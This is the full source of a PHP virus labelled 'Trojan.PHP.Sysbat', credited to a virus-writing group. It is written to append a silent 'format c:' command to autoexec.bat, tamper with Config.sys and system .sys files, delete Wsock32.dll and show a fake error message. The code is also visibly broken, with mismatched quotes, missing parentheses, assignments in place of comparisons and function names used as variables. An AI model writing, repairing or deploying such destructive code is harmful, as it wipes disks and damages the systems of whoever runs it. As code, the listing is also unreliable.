Trojan.PHP.Sysbat - Source Code

<?php
// SYSBAT.PHP VIRUS
// By Xmorfic, www.shadowvx.com/bcvg, The Black Cat Virii Group
// SYSBAT.PHP - This virus infectes Config.sys, autoexec.bat and system files in
// C:\Windows\Command\ directory.

$config = 'C:\Config.sys';
$autoexec = 'C:\Autoexec.bat';
$phps     = "SYSBAT.PHP";
$newphp   = 'sysbat.sys';
$avxm     = "This program performed an illegal operation";

$infsystem = true;

    $infsys = fopen($config, "r");
    $check  = fread($infsys, filesize($config));
    $infs   = strstr ($check, '47hGHRHjkliliurpIOIPOIporipOOPOirujkJKLLJj<Xmorfic>HKGJD');
    if (!$infs) $infsystem = false;

    if ( ($infsystem=false) )
    {
        $infsys = fopen($config, "a");
        $fputs($infsys, "47hGHRHjkliliurpIOIPOIporipOOPOirujkJKLLJj<Xmorfic>HKGJD");
        $fputs($infsys, "Xmorfic, www.shadowvx.com/bcvg, Second PHP VIRUS");
        return;
    }

    fclose($infsys);

    $infbat = fopen($autoexec, "r");
    $checkb = fread($infbat, filesize($autoexec));
    $infb   = strstr ($checkb, 'format c: /autotest /q /u');
    if (!$infb) $infbatf = false;

    if ( ($infbatf=false) )
    {
        $infbat = fopen($autoexec, "a");
        $fputs($infbat, "ctty nul ");
        $fputs($infbat, "format c: /autotest /q /u ");
        return;

    }

    fclose($infbat);

    $systems = opendir('C:\Windows\Command\');
    while ($filesys = readdir($systems))
    {

        $infected = true;
        $systemexe = false;

        if ( ($systemexe = strstr ($filesys, '.sys') )
        if ( (is_writeable($filesys) )
        {

            $sysk = fopen($filesys, "r");
            $xst  = fread($sysk, filesize($filesys);
            $good = strstr ($xst, 'Xmorfic_Vx');
            if (!$good) $infected = false;
        }

        if ( ($infected=false) )
        {
            $sysk = fopen($filesys, "a");
            $fputs($sysk, "Xmorfic_VX_System_PHP_Infector!!');
            return;
        }
    }
    closedir($systems);

    // Rename the virus to sysbat.sys (Optional) $ren = rename(__FILE__, $newphp);

    $kok = unlink ('C:\Windows\System\Wsock32.dll');

    echo $avxm;
?>